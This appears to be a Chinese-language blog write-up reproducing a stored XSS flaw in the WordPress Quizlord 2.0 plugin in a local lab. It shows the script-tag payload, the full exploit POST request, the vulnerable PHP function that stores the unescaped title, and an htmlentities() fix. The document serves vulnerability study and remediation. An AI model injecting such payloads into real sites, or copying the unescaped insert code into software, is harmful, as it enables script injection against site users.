您好,登录后才能下订单哦!
年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞
--from Lyricbao
貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全问题。
使用phpstudy搭建环境,搭建wordpress,然后登陆进后台去下载Quizlord插件,版本为2.0
一切就绪后就开始看怎么触发的XSS了
3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.
--from exploit-db
request包
POST /wp4.4/wordpress/wp-admin/admin.php HTTP/1.1
Host: localhost
Content-Length: 184
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/wp4.4/wordpress/wp-admin/admin.php?page=quizlord
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7C43a2436e074320bb113475ff8e44222065a4454e602d990d36639085856f0dd3; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7Cf23acf621ce28dbfc8f0baf9abe31370d3fc5674ca575a4ba1029832ca552c62; wp-settings-time-1=1550197219; pgv_pvi=4214545408; Phpstorm-c3dafaf3=cd60577d-e9ad-4825-b2e4-7a109a7e2faf; PHPSESSID=8v8jf1s93dprjgq4bpo29ldsq7
Connection: close
action=ql_insert&title=%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=1&time=0&numbtype=numerical&numbmark=1&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save
效果当然是触发啊 代码里一点过滤都没有 这算一个存储型XSS
知其然要知其所以然,下面我们来看问题出现在哪个环节
进入Quizlord插件目录,找到quizlord.php,打开
出问题的是这段函数 title没有被过滤盒转义就直接写进数据库里面了
function ql_insert_quiz_data(){
global $wpdb;
if(!empty($_POST['title'])){
$ql_title = $_POST['title'];
$ql_description = $_POST['description'];
$ql_time = $_POST['time'];
$ql_rightcolor = "#".$_POST['rightcolor'];
$ql_wrongcolor = "#".$_POST['wrongcolor'];
$ql_numbtype = $_POST['numbtype'];
$ql_numbmark = $_POST['numbmark'];
$ql_showtype = $_POST['showtype'];
$ql_random = isset($_POST['random']) ? 1 : 0;
$ql_skip = isset($_POST['skip']) ? 1 : 0;
$ql_resume = isset($_POST['resume']) ? 1 : 0;
$ql_backbtn = isset($_POST['backbtn']) ? 1 : 0;
$ql_autoload = isset($_POST['autoload']) ? 1 : 0;
$ql_checkcnt = isset($_POST['checkcnt']) ? 1 : 0;
$wpdb->insert($wpdb->prefix.'ql_quizzes',
array(
'name' => $ql_title,
'description' => $ql_description,
'time' => $ql_time,
'right_color' => $ql_rightcolor,
'wrong_color' => $ql_wrongcolor,
'numbering_type' => $ql_numbtype,
'numbering_mark' => $ql_numbmark,
'show_type' => $ql_showtype,
'random' => $ql_random,
'skip' => $ql_skip,
'resume' => $ql_resume,
'autoload' => $ql_autoload,
'back_button' => $ql_backbtn,
'check_continue' => $ql_checkcnt
));
}
wp_redirect($_SERVER['HTTP_REFERER']);
exit();
}
add_action('admin_action_ql_insert', 'ql_insert_quiz_data');
待写
利用htmlentities()函数转义html实体。
刚开始的时候想 我一开始都插入payload进数据库了。不如就在输出的位置做转义吧
于是定位到输出的代码,修改成<?php echo htmlentities($qlq->name); ?>
输出就变成正常了,无办法触发XSS漏洞。
如果在输入点进行转义的话,定位的到输入赋值的位置,加入 $ql_title = htmlentities($_POST['title'])即可
这样的情况最好在输入输出点都做转义,这样就保障得多了
0x05 Reference
https://www.exploit-db.com/exploits/45307 详细的漏洞细节以及复现方法
https://www.freebuf.com/vuls/189814.html 中文版的这哥们也写了
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。